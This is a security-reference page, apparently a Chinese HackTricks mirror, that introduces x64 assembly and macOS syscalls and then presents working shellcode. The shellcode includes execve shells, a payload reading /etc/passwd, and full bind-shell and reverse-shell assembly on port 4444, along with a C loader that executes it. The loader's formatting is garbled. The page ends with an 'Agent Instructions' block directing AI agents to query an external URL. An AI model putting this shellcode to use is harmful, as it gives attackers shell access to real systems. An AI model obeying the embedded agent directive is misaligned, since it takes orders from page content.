# Introduction to x64

<details>

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</details>

## **x64简介**

x64，也称为x86-64，是一种主要用于台式机和服务器计算的64位处理器架构。起源于由英特尔生产的x86架构，后来被AMD采用并命名为AMD64，是今天个人计算机和服务器中普遍采用的架构。

### **寄存器**

x64扩展了x86架构，具有**16个通用寄存器**，标记为`rax`、`rbx`、`rcx`、`rdx`、`rbp`、`rsp`、`rsi`、`rdi`，以及`r8`到`r15`。每个寄存器可以存储**64位**（8字节）的值。这些寄存器还具有32位、16位和8位的子寄存器，用于兼容性和特定任务。

1. **`rax`** - 传统上用于从函数中返回值。
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
3. **`rcx`** - 通常用于**循环计数器**。
4. **`rdx`** - 用于包括扩展算术运算在内的各种角色。
5. **`rbp`** - 栈帧的**基指针**。
6. **`rsp`** - **栈指针**，跟踪栈的顶部。
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
8. **`r8`** 到 **`r15`** - x64中引入的额外通用寄存器。

### **调用约定**

x64的调用约定在操作系统之间有所不同。例如：

* **Windows**：前**四个参数**通过寄存器\*\*`rcx`**、**`rdx`**、**`r8`**和**`r9`**传递。额外的参数被推送到栈上。返回值在**`rax`\*\*中。
* **System V（在类UNIX系统中常用）**：前**六个整数或指针参数**通过寄存器\*\*`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**和**`r9`**传递。返回值也在**`rax`\*\*中。

如果函数有超过六个输入，则**其余参数将通过栈传递**。**RSP**，即栈指针，必须是**16字节对齐**，这意味着在进行任何调用之前，它指向的地址必须能被16整除。这意味着通常我们需要确保我们的shellcode在进行函数调用之前RSP被正确对齐。然而，在实践中，即使不满足这一要求，系统调用也经常能够正常工作。

### Swift中的调用约定

Swift有自己的**调用约定**，可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)找到。

### **常见指令**

x64指令具有丰富的集合，保持与早期x86指令的兼容性并引入新指令。

* **`mov`**：将一个值从一个**寄存器**或**内存位置**移动到另一个。
* 示例：`mov rax, rbx` — 将`rbx`中的值移动到`rax`。
* **`push`** 和 **`pop`**：将值推送到/从**栈**中弹出。
* 示例：`push rax` — 将`rax`中的值推送到栈上。
* 示例：`pop rax` — 将栈顶值弹出到`rax`中。
* **`add`** 和 **`sub`**：**加法**和**减法**操作。
* 示例：`add rax, rcx` — 将`rax`和`rcx`中的值相加，并将结果存储在`rax`中。
* **`mul`** 和 **`div`**：**乘法**和**除法**操作。注意：这些操作对操作数的使用有特定行为。
* **`call`** 和 **`ret`**：用于**调用**和**从函数返回**。
* **`int`**：用于触发软件**中断**。例如，在32位x86 Linux中，`int 0x80`用于系统调用。
* **`cmp`**：比较两个值并根据结果设置CPU的标志。
* 示例：`cmp rax, rdx` — 比较`rax`和`rdx`。
* **`je`、`jne`、`jl`、`jge`等**：**条件跳转**指令，根据先前的`cmp`或测试结果改变控制流。
* 示例：在`cmp rax, rdx`指令之后，`je label` — 如果`rax`等于`rdx`，则跳转到`label`。
* **`syscall`**：在一些x64系统（如现代Unix）中用于**系统调用**。
* **`sysenter`**：在某些平台上优化的**系统调用**指令。

### **函数序言**

1. **推送旧的基指针**：`push rbp`（保存调用者的基指针）
2. **将当前栈指针移动到基指针**：`mov rbp, rsp`（为当前函数设置新的基指针）
3. **为本地变量在栈上分配空间**：`sub rsp, <size>`（其中`<size>`是所需字节数）

### **函数结语**

1. **将当前基指针移动到栈指针**：`mov rsp, rbp`（释放本地变量）
2. **从栈中弹出旧的基指针**：`pop rbp`（恢复调用者的基指针）
3. **返回**：`ret`（将控制返回给调用者）

## macOS

### 系统调用

有不同类别的系统调用，你可以[**在这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:**

```c
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */
```

然后，您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**中找到每个系统调用号：**

```c
0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]
```

因此，为了从**Unix/BSD类**调用`open`系统调用（**5**），您需要将其添加为：`0x2000000`

因此，调用open的系统调用号将是`0x2000005`

### Shellcodes

要编译：

{% code overflow="wrap" %}

```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```

{% endcode %}

提取字节：

{% code overflow="wrap" %}

```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```

{% endcode %}

<details>

<summary>用于测试shellcode的C代码</summary>

\`\`\`c // code from <https://github.com/daem0nc0re/macOS\\_ARM64\\_Shellcode/blob/master/helper/loader.c> // gcc loader.c -o loader #include #include #include #include

int (\*sc)();

char shellcode\[] = "";

int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);

if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("\[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

````
</details>

#### Shell

取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行解释。

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='使用 adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````

```armasm
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```

**使用 cat 命令读取**

目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。

```armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0
```

**使用 sh 调用命令**

```armasm
bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0
```

**绑定 shell**

绑定 shell 来自 <https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html> 在 **端口 4444** 上。

```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall
```

**反向Shell**

从<https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html>获取反向shell。反向shell连接到**127.0.0.1:4444**

```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall
```

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
